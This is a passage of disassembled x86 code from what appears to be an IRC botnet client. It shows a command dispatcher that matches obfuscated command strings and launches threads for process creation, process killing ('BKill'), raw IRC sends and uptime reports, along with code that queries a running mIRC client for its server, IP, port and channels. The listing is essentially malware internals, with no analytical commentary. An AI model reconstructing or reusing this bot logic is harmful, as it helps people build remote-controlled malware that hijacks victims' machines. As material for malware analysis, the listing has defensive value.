		jmp	loc_414998
; ---------------------------------------------------------------------------


loc_40C4A1:				; CODE XREF: sub_40A9FE+18CFj
		push	dword ptr [ebx]
		push	offset aPnb_aBfzu60_0 ;	"pNb.a/Bfzu60"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40C570
		xor	edi, edi
		push	1
		push	edi
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_41B9F8
		push	eax
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		lea	eax, [ebp+var_57C20]
		push	offset aSUptimeS_ ; "%s	UpTime:	(%s)."
		push	eax
		call	sub_429B03
		add	esp, 1Ch
		cmp	dword_457034, edi
		jnz	short loc_40C51F
		call	sub_41BC0B
		cmp	eax, edi
		mov	dword_457FD8, eax
		jnz	short loc_40C518
		call	sub_41BB89
		push	eax
		push	offset aRecordUptimeS_ ; ", Record UpTime: (%s)."
		lea	eax, [ebp+var_1D78]
		push	32h
		push	eax
		call	sub_429BBE
		add	esp, 10h
		lea	eax, [ebp+var_1D78]
		push	eax
		jmp	short loc_40C524
; ---------------------------------------------------------------------------


loc_40C518:				; CODE XREF: sub_40A9FE+1AF3j
		push	offset aRecord	; ", (Record)"
		jmp	short loc_40C524
; ---------------------------------------------------------------------------


loc_40C51F:				; CODE XREF: sub_40A9FE+1AE5j
		push	offset dword_43AB8C


loc_40C524:				; CODE XREF: sub_40A9FE+1B18j
					; sub_40A9FE+1B1Fj
		lea	eax, [ebp+var_57C20]
		push	eax
		call	dword_437090	; lstrcatA
		cmp	[ebp+arg_14], edi
		jnz	short loc_40C550
		cmp	[ebp+arg_18], edi
		jnz	short loc_40C559
		lea	eax, [ebp+var_57C20]
		push	eax
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 0Ch


loc_40C550:				; CODE XREF: sub_40A9FE+1B36j
		cmp	[ebp+arg_18], edi
		jz	loc_414995


loc_40C559:				; CODE XREF: sub_40A9FE+1B3Bj
		lea	eax, [ebp+var_57C20]
		push	eax
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CDD4
		jmp	loc_40D35F
; ---------------------------------------------------------------------------


loc_40C570:				; CODE XREF: sub_40A9FE+1AAEj
		push	dword ptr [ebx]
		push	offset aI7atf_8Tag1 ; "i7Atf.8/tag1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40C60F
		cmp	dword_457034, eax
		jnz	short loc_40C5CC
		cmp	[ebp+arg_14], eax
		mov	edi, offset aSSS_0 ; "%s %s (%s)"
		mov	ebx, offset aUDneTzo8s_omqd ; "u/DnE/tzo8s.OMQDW1DERIa/"
		jnz	short loc_40C5B9
		cmp	[ebp+arg_18], eax
		jnz	short loc_40C5C2
		push	offset dword_676418
		push	ebx
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h
		xor	eax, eax


loc_40C5B9:				; CODE XREF: sub_40A9FE+1B98j
		cmp	[ebp+arg_18], eax
		jz	loc_414995


loc_40C5C2:				; CODE XREF: sub_40A9FE+1B9Dj
		push	offset dword_676418
		jmp	loc_40B398
; ---------------------------------------------------------------------------


loc_40C5CC:				; CODE XREF: sub_40A9FE+1B89j
		cmp	[ebp+arg_14], eax
		mov	edi, offset aSS_1 ; "%s	%s"
		mov	ebx, offset aNeuf6qyoiMdAn1 ; "NEuF//6QYOi/Md/AN15kOfy.nR01m1pzFKu1"
		jnz	short loc_40C5F7
		cmp	[ebp+arg_18], eax
		jnz	short loc_40C600
		push	ebx
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h
		xor	eax, eax


loc_40C5F7:				; CODE XREF: sub_40A9FE+1BDBj
		cmp	[ebp+arg_18], eax
		jz	loc_414995


loc_40C600:				; CODE XREF: sub_40A9FE+1BE0j
		push	ebx
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	edi
		push	dword ptr [esi+0Ch]
		jmp	loc_414793
; ---------------------------------------------------------------------------


loc_40C60F:				; CODE XREF: sub_40A9FE+1B7Dj
		push	dword ptr [ebx]
		push	offset aVp1weJvqbn_ ; "VP1WE/JVQbn."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40C6EE
		push	4
		call	sub_42381F
		xor	edi, edi
		pop	ecx
		cmp	eax, edi
		mov	[ebp+arg_C], eax
		jle	short loc_40C63B
		mov	ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		jmp	loc_40B964
; ---------------------------------------------------------------------------


loc_40C63B:				; CODE XREF: sub_40A9FE+1C31j
		mov	eax, [ebp+arg_10]
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset aS2maintenance_ ; "%s /2Maintenance./2"
		push	4
		mov	[ebp+var_2638],	eax
		call	sub_4234A7
		add	esp, 0Ch
		mov	[ebp+var_25B4],	eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_2638]
		push	edi
		push	eax
		push	offset sub_41EBE9
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_25B4]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	loc_414995
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aSS_ ; "%s %s."
		mov	edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		jnz	short loc_40C6BC
		cmp	[ebp+arg_18], 0
		jnz	short loc_40C6C2
		push	edi
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40C6BC:				; CODE XREF: sub_40A9FE+1CA1j
		cmp	[ebp+arg_18], 0
		jz	short loc_40C6E0


loc_40C6C2:				; CODE XREF: sub_40A9FE+1CA7j
		push	edi
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	ebx
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 14h
		jmp	short loc_40C6E0
; ---------------------------------------------------------------------------


loc_40C6D8:				; CODE XREF: sub_40A9FE+1CE9j
		push	32h
		call	dword_437190	; Sleep


loc_40C6E0:				; CODE XREF: sub_40A9FE+1CC2j
					; sub_40A9FE+1CD8j
		cmp	[ebp+var_257C],	0
		jz	short loc_40C6D8
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40C6EE:				; CODE XREF: sub_40A9FE+1C1Cj
		push	dword ptr [ebx]
		push	offset aUaxwg1w8vsp0qr ; "UaxWg1w8vSP0QRn4z10ge1I1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40C707
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	4
		jmp	loc_412CA1
; ---------------------------------------------------------------------------


loc_40C707:				; CODE XREF: sub_40A9FE+1CFBj
		push	dword ptr [ebx]
		push	offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_4147A3
		push	dword ptr [ebx]
		push	offset a2mo7g0_b0qj ; "2mo7G0.B0qj/"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_4147A3
		push	dword ptr [ebx]
		push	offset a47ff020f_0_ ; "47Ff/020f.0."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40C840
		mov	eax, [ebp+arg_10]
		push	offset dword_443F1C
		mov	[ebp+var_CE4], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_C58], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_C54], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_C50], eax
		lea	eax, [ebp+var_CE0]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		push	ebx
		push	offset aSBkillThread_ ;	"%s BKill thread."
		push	1
		call	sub_4234A7
		add	esp, 0Ch
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_C60], eax
		mov	edi, offset aSBkillS ; "%s BKill %s"
		jnz	short loc_40C7B1
		cmp	[ebp+arg_18], 0
		jnz	short loc_40C7B7
		push	offset a5oke1awbzq ; "5OkE/1AWBZq/"
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40C7B1:				; CODE XREF: sub_40A9FE+1D96j
		cmp	[ebp+arg_18], 0
		jz	short loc_40C7CB


loc_40C7B7:				; CODE XREF: sub_40A9FE+1D9Cj
		push	offset a5oke1awbzq ; "5OkE/1AWBZq/"
		push	ebx
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 14h


loc_40C7CB:				; CODE XREF: sub_40A9FE+1DB7j
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_CE4]
		push	edi
		push	eax
		push	offset sub_41F0F5
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_C60]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jnz	short loc_40C833


loc_40C7FC:				; CODE XREF: sub_40A9FE+1FF7j
					; sub_40A9FE+212Fj ...
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	loc_40C21A
		cmp	[ebp+arg_18], 0
		jnz	loc_41490F
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]
		jmp	loc_40C20F
; ---------------------------------------------------------------------------


loc_40C82B:				; CODE XREF: sub_40A9FE+1E3Bj
		push	32h
		call	dword_437190	; Sleep


loc_40C833:				; CODE XREF: sub_40A9FE+1DFCj
		cmp	[ebp+var_C4C], edi
		jz	short loc_40C82B
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40C840:				; CODE XREF: sub_40A9FE+1D36j
		push	dword ptr [ebx]
		push	offset aHyomeIovtv_ ; "HyOMe/iovtV."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40CB55
		xor	ecx, ecx
		cmp	[ebx+4], ecx
		jnz	short loc_40C897
		cmp	[ebp+arg_14], ecx
		mov	edi, offset aSS_1 ; "%s	%s"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	short loc_40C881
		cmp	[ebp+arg_18], ecx


loc_40C86A:				; CODE XREF: sub_40A9FE+1F53j
					; sub_40A9FE+1F93j
		jnz	short loc_40C88B
		push	ebx
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40C881:				; CODE XREF: sub_40A9FE+1E67j
					; sub_40A9FE+1F4Aj ...
		cmp	[ebp+arg_18], 0


loc_40C885:				; CODE XREF: sub_40A9FE+2068j
		jz	loc_414995


loc_40C88B:				; CODE XREF: sub_40A9FE:loc_40C86Aj
					; sub_40A9FE+2048j
		push	ebx
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"


loc_40C891:				; CODE XREF: sub_40A9FE+483Fj
					; sub_40A9FE+496Dj ...
		push	edi
		jmp	loc_414791
; ---------------------------------------------------------------------------


loc_40C897:				; CODE XREF: sub_40A9FE+1E58j
		mov	eax, [ebp+arg_14]
		mov	edx, [ebp+arg_20]
		mov	[ebp+var_428], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_424], eax
		cmp	eax, ecx
		mov	[ebp+var_42C], edx
		lea	eax, [ebp+var_4D8]
		jnz	short loc_40C8C1
		push	dword ptr [esi+0Ch]
		jmp	short loc_40C8C3
; ---------------------------------------------------------------------------


loc_40C8C1:				; CODE XREF: sub_40A9FE+1EBCj
		push	dword ptr [esi]


loc_40C8C3:				; CODE XREF: sub_40A9FE+1EC1j
		push	eax
		call	dword_4370B4	; lstrcpyA
		xor	eax, eax
		mov	[ebp+var_448], eax
		mov	[ebp+var_444], eax
		mov	[ebp+var_440], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_4DC], eax
		push	dword ptr [ebx+4]
		push	offset aPlsymAee6v1_0 ;	"PlsYM/aEe6v1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40C926
		push	2
		call	sub_42381F
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_40C90E
		mov	ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		jmp	loc_40B964
; ---------------------------------------------------------------------------


loc_40C90E:				; CODE XREF: sub_40A9FE+1F04j
		mov	[ebp+var_448], 1
		mov	ebx, [ebx+8]
		mov	[ebp+var_450], ebx
		jmp	loc_40C9AB
; ---------------------------------------------------------------------------


loc_40C926:				; CODE XREF: sub_40A9FE+1EF5j
		push	dword ptr [ebx+4]
		push	offset aCwxyh0ryouv1 ; "CwXYh0RYoUv1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40C962
		mov	ebx, [ebx+8]
		cmp	ebx, eax
		jnz	short loc_40C956
		cmp	[ebp+arg_14], eax
		mov	edi, offset aSS_1 ; "%s	%s"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	loc_40C881
		cmp	[ebp+arg_18], eax
		jmp	loc_40C86A
; ---------------------------------------------------------------------------


loc_40C956:				; CODE XREF: sub_40A9FE+1F3Bj
		mov	[ebp+var_444], 1
		jmp	short loc_40C99F
; ---------------------------------------------------------------------------


loc_40C962:				; CODE XREF: sub_40A9FE+1F34j
		push	dword ptr [ebx+4]
		push	offset aEavyh_ic0dc0 ; "eAvYh.IC0dc0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40CA1D
		mov	ebx, [ebx+8]
		test	ebx, ebx
		jnz	short loc_40C996
		cmp	[ebp+arg_14], eax
		mov	edi, offset aSS_1 ; "%s	%s"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	loc_40C881
		cmp	[ebp+arg_18], eax
		jmp	loc_40C86A
; ---------------------------------------------------------------------------


loc_40C996:				; CODE XREF: sub_40A9FE+1F7Bj
		xor	eax, eax
		inc	eax
		mov	[ebp+var_444], eax


loc_40C99F:				; CODE XREF: sub_40A9FE+1F62j
		mov	[ebp+var_454], ebx
		mov	[ebp+var_440], eax


loc_40C9AB:				; CODE XREF: sub_40A9FE+1F23j
		mov	ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		push	ebx
		push	offset aSProcs	; "%s Procs"
		push	2
		call	sub_4234A7
		add	esp, 0Ch
		mov	[ebp+var_458], eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_4DC]
		push	edi
		push	eax
		push	offset sub_41F876
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_458]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	loc_40C7FC
		cmp	[ebp+var_420], edi
		jnz	loc_414995


loc_40CA07:				; CODE XREF: sub_40A9FE+2018j
		push	32h
		call	dword_437190	; Sleep
		cmp	[ebp+var_420], 0
		jz	short loc_40CA07
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40CA1D:				; CODE XREF: sub_40A9FE+1F70j
		push	dword ptr [ebx+4]
		push	offset aUz3rf_vtkug1 ; "uz3rf.VTKug1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_414995
		cmp	[ebx+8], eax
		jnz	short loc_40CA6B
		cmp	[ebp+arg_14], eax
		mov	edi, offset aSS_1 ; "%s	%s"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	short loc_40CA63
		cmp	[ebp+arg_18], eax
		jnz	loc_40C88B
		push	ebx
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h
		xor	eax, eax


loc_40CA63:				; CODE XREF: sub_40A9FE+2043j
		cmp	[ebp+arg_18], eax
		jmp	loc_40C885
; ---------------------------------------------------------------------------


loc_40CA6B:				; CODE XREF: sub_40A9FE+2034j
		xor	ecx, ecx
		inc	ecx
		cmp	[ebx+0Ch], eax
		jz	short loc_40CA79
		mov	[ebp+var_448], ecx


loc_40CA79:				; CODE XREF: sub_40A9FE+2073j
		cmp	[ebp+arg_3C], eax
		jz	short loc_40CA84
		mov	[ebp+var_444], ecx


loc_40CA84:				; CODE XREF: sub_40A9FE+207Ej
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_63D4]
		push	eax
		call	sub_429B03
		xor	edi, edi
		pop	ecx
		cmp	[ebp+arg_34], edi
		pop	ecx
		jz	short loc_40CAD7
		cmp	[ebp+arg_38], 0
		mov	bl, 5Fh
		jz	short loc_40CAA7
		mov	bl, [ebp+arg_38]


loc_40CAA7:				; CODE XREF: sub_40A9FE+20A4j
		push	[ebp+var_454]
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_40CAD7


loc_40CAB7:				; CODE XREF: sub_40A9FE+20D7j
		mov	eax, [ebp+var_454]
		add	eax, edi
		cmp	[eax], bl
		jnz	short loc_40CAC6
		mov	byte ptr [eax],	20h


loc_40CAC6:				; CODE XREF: sub_40A9FE+20C3j
		push	[ebp+var_454]
		inc	edi
		call	sub_4293A0
		cmp	edi, eax
		pop	ecx
		jb	short loc_40CAB7


loc_40CAD7:				; CODE XREF: sub_40A9FE+209Cj
					; sub_40A9FE+20B7j
		mov	ebx, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		lea	eax, [ebp+var_63D4]
		push	ebx
		push	offset aSCreateProcess ; "%s Create process thread."
		push	2
		mov	[ebp+var_454], eax
		call	sub_4234A7
		add	esp, 0Ch
		mov	[ebp+var_458], eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_4DC]
		push	edi
		push	eax
		push	offset sub_41F533
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_458]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	loc_40C7FC
		cmp	[ebp+var_420], edi
		jnz	loc_414995


loc_40CB3F:				; CODE XREF: sub_40A9FE+2150j
		push	32h
		call	dword_437190	; Sleep
		cmp	[ebp+var_420], 0
		jz	short loc_40CB3F
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40CB55:				; CODE XREF: sub_40A9FE+1E4Dj
		push	dword ptr [ebx]
		push	offset a9bwj__lz2my0 ; "9bWj..lZ2My0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40CD08
		push	0Ch
		call	sub_42381F
		test	eax, eax
		pop	ecx
		mov	ebx, offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
		jle	short loc_40CB93
		push	ebx
		push	0Ch
		push	0
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [esi+0Ch]
		call	sub_423654
		add	esp, 20h


loc_40CB93:				; CODE XREF: sub_40A9FE+2177j
		cmp	dword_457F68, 0
		jnz	short loc_40CBB4
		call	sub_429B9C
		cdq
		mov	ecx, 0BBFFh
		idiv	ecx
		add	edx, 66h
		mov	dword_45643C, edx
		jmp	short loc_40CBC0
; ---------------------------------------------------------------------------


loc_40CBB4:				; CODE XREF: sub_40A9FE+219Cj
		movzx	eax, word_44399A
		mov	dword_45643C, eax


loc_40CBC0:				; CODE XREF: sub_40A9FE+21B4j
		and	dword_456438, 0
		mov	edi, offset dword_45622C
		push	104h
		push	edi
		push	0
		call	dword_43717C	; GetModuleFileNameA
		push	103h
		push	offset dword_4439A8
		push	offset dword_456330
		call	sub_429D10
		and	dword_4564CC, 0
		push	7Fh
		push	offset dword_443F14
		push	offset dword_456440
		call	sub_429D10
		mov	eax, [ebp+arg_14]
		push	edi
		push	offset a8cbgoRjryr_ ; "8CBGO/rJRYr."
		mov	dword_454A48, eax
		mov	eax, [ebp+arg_18]
		push	dword_45643C
		mov	dword_454A50, eax
		mov	eax, [ebp+arg_20]
		push	offset aKbwmi16jfhl ; "KbwMi16jFhl/"
		push	offset a5oke1awbzq ; "5OkE/1AWBZq/"
		mov	dword_454A4C, eax
		mov	eax, [ebp+arg_10]
		push	ebx
		push	offset aSSOnSISS_ ; "%s	%s on %s: %i, %s: %s."
		push	0Ch
		mov	dword_4564D0, eax
		call	sub_4234A7
		add	esp, 38h
		mov	dword_456434, eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		push	edi
		push	offset dword_456228
		push	offset sub_402CE9
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, dword_456434
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	loc_40C7FC
		jmp	short loc_40CC8E
; ---------------------------------------------------------------------------


loc_40CC86:				; CODE XREF: sub_40A9FE+2297j
		push	32h
		call	dword_437190	; Sleep


loc_40CC8E:				; CODE XREF: sub_40A9FE+2286j
		cmp	dword_4564CC, 0
		jz	short loc_40CC86
		xor	eax, eax
		mov	edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		cmp	[ebp+arg_14], eax
		jnz	short loc_40CCD7
		cmp	[ebp+arg_18], eax
		jnz	short loc_40CCE1
		cmp	[ebp+arg_1C], eax
		jnz	loc_414995
		push	dword_456434
		push	dword_45643C
		push	offset aKbwmi16jfhl ; "KbwMi16jFhl/"
		push	edi
		push	ebx
		push	offset aSSOnSIThreadNu ; "%s %s	on %s: %i, thread number: %i."
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 20h


loc_40CCD7:				; CODE XREF: sub_40A9FE+22A3j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40CCE1:				; CODE XREF: sub_40A9FE+22A8j
		push	dword_456434
		push	dword_45643C
		push	offset aKbwmi16jfhl ; "KbwMi16jFhl/"
		push	edi
		push	ebx
		push	offset aSSOnSIThreadNu ; "%s %s	on %s: %i, thread number: %i."
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		jmp	loc_412CB7
; ---------------------------------------------------------------------------


loc_40CD08:				; CODE XREF: sub_40A9FE+2162j
		push	dword ptr [ebx]
		push	offset aAjttz06ztse1 ; "ajTtz06Ztse1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40CD2B
		mov	ecx, [ebp+arg_10]
		call	sub_41DB58
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_41CF25
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40CD2B:				; CODE XREF: sub_40A9FE+2315j
		push	dword ptr [ebx]
		push	offset aUn3hk0sn58o ; "uN3hk0sn58o/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40CD5A
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_40CD94
		mov	ebx, [ebx+8]
		test	ebx, ebx
		jnz	short loc_40CD4B
		mov	ebx, offset byte_454A54


loc_40CD4B:				; CODE XREF: sub_40A9FE+2346j
		mov	ecx, [ebp+arg_10]
		push	ebx
		push	eax
		call	sub_41D09B
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40CD5A:				; CODE XREF: sub_40A9FE+2338j
		push	dword ptr [ebx]
		push	offset aQrn4z10ge1i1 ; "QRn4z10ge1I1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40CD7C
		mov	ebx, [ebx+4]
		test	ebx, ebx
		jz	short loc_40CD94
		mov	ecx, [ebp+arg_10]
		push	ebx
		call	sub_41D0C6
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40CD7C:				; CODE XREF: sub_40A9FE+2367j
		push	dword ptr [ebx]
		push	offset aBvuso0ed3mw ; "bVUSO0ed3MW/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40CE48
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40CD9E


loc_40CD94:				; CODE XREF: sub_40A9FE+233Fj
					; sub_40A9FE+236Ej
		mov	edi, offset a6h4nn1igjm60 ; "6h4NN1IGJm60"
		jmp	loc_40BF10
; ---------------------------------------------------------------------------


loc_40CD9E:				; CODE XREF: sub_40A9FE+2394j
		push	eax
		lea	eax, [ebp+var_443A0]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		push	2
		pop	edi
		cmp	[ebp+arg_4], edi
		jle	short loc_40CDF5


loc_40CDBB:				; CODE XREF: sub_40A9FE+23F5j
		mov	eax, [ebx+edi*4]
		test	eax, eax
		jz	short loc_40CDEF
		push	eax
		lea	eax, [ebp+var_15D70]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_15D70]
		push	2710h
		push	eax
		lea	eax, [ebp+var_443A0]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40CDEF:				; CODE XREF: sub_40A9FE+23C2j
		inc	edi
		cmp	edi, [ebp+arg_4]
		jl	short loc_40CDBB


loc_40CDF5:				; CODE XREF: sub_40A9FE+23BBj
		lea	eax, [ebp+var_443A0]
		push	eax
		push	[ebp+arg_10]
		call	sub_41D0ED
		cmp	[ebp+arg_14], 0
		pop	ecx
		pop	ecx
		mov	edi, offset a6h4nn1igjm60 ; "6h4NN1IGJm60"
		mov	ebx, offset aSSentIrcRawS_ ; "%s Sent IRC raw: \"%s\"."
		jnz	short loc_40CE33
		cmp	[ebp+arg_18], 0
		jnz	short loc_40CE3D
		lea	eax, [ebp+var_443A0]
		push	eax
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40CE33:				; CODE XREF: sub_40A9FE+2416j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40CE3D:				; CODE XREF: sub_40A9FE+241Cj
		lea	eax, [ebp+var_443A0]
		jmp	loc_40B0F9
; ---------------------------------------------------------------------------


loc_40CE48:				; CODE XREF: sub_40A9FE+2389j
		push	dword ptr [ebx]
		push	offset aM1d_716jg1r1 ; "M1d.716Jg1r1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40D212
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	loc_40D178
		mov	edi, offset aMirc ; "mIRC"
		push	eax
		push	edi
		call	dword_456F44	; FindWindowA
		test	eax, eax
		mov	[ebp+arg_4], eax
		jz	loc_40D13B
		push	edi
		xor	edi, edi
		push	1000h
		push	edi
		push	4
		push	edi
		push	0FFFFFFFFh
		call	dword_4370C8	; CreateFileMappingA
		push	edi
		push	edi
		push	edi
		push	0F001Fh
		push	eax
		mov	[ebp+arg_68], eax
		call	dword_437040	; MapViewOfFile
		mov	[ebp+arg_C], eax
		push	10h
		lea	eax, [ebp+var_314]
		push	edi
		push	eax
		call	sub_429760
		push	offset aVersion	; "$version"
		push	[ebp+arg_C]
		call	sub_429B03
		add	esp, 14h
		mov	ebx, 4C9h
		push	edi
		push	1
		push	ebx
		push	[ebp+arg_4]
		call	dword_456F9C	; SendMessageA
		push	[ebp+arg_C]
		mov	edi, offset aS_5 ; "%s"
		lea	eax, [ebp+var_314]
		push	edi
		push	10h
		push	eax
		call	sub_429BBE
		push	10h
		lea	eax, [ebp+var_2E4]
		push	0
		push	eax
		call	sub_429760
		push	offset off_4416C0
		push	[ebp+arg_C]
		call	sub_429B03
		add	esp, 24h
		push	0
		push	1
		push	ebx
		push	[ebp+arg_4]
		call	dword_456F9C	; SendMessageA
		push	[ebp+arg_C]
		lea	eax, [ebp+var_2E4]
		push	edi
		push	10h
		push	eax
		call	sub_429BBE
		push	9Fh
		lea	eax, [ebp+var_2C20]
		push	0
		push	eax
		call	sub_429760
		push	offset aServer_0 ; "$server"
		push	[ebp+arg_C]
		call	sub_429B03
		add	esp, 24h
		push	0
		push	1
		push	ebx
		push	[ebp+arg_4]
		call	dword_456F9C	; SendMessageA
		push	[ebp+arg_C]
		lea	eax, [ebp+var_2C20]
		push	edi
		push	9Fh
		push	eax
		call	sub_429BBE
		push	10h
		push	0
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_429760
		push	offset aServerip ; "$serverip"
		push	[ebp+arg_C]
		call	sub_429B03
		add	esp, 24h
		push	0
		push	1
		push	ebx
		push	[ebp+arg_4]
		call	dword_456F9C	; SendMessageA
		push	[ebp+arg_C]
		lea	eax, [ebp+var_304]
		push	edi
		push	10h
		push	eax
		call	sub_429BBE
		push	8
		lea	eax, [ebp+var_58]
		push	0
		push	eax
		call	sub_429760
		push	offset aPort_0	; "$port"
		push	[ebp+arg_C]
		call	sub_429B03
		add	esp, 24h
		push	0
		push	1
		push	ebx
		push	[ebp+arg_4]
		call	dword_456F9C	; SendMessageA
		push	[ebp+arg_C]
		lea	eax, [ebp+var_58]
		push	edi
		push	8
		push	eax
		call	sub_429BBE
		push	2710h
		lea	eax, [ebp+var_18480]
		push	0
		push	eax
		call	sub_429760
		push	offset aChan0	; "$chan(0)"
		push	[ebp+arg_C]
		call	sub_429B03
		add	esp, 24h
		xor	edi, edi
		inc	edi
		push	0
		push	edi
		push	ebx
		push	[ebp+arg_4]
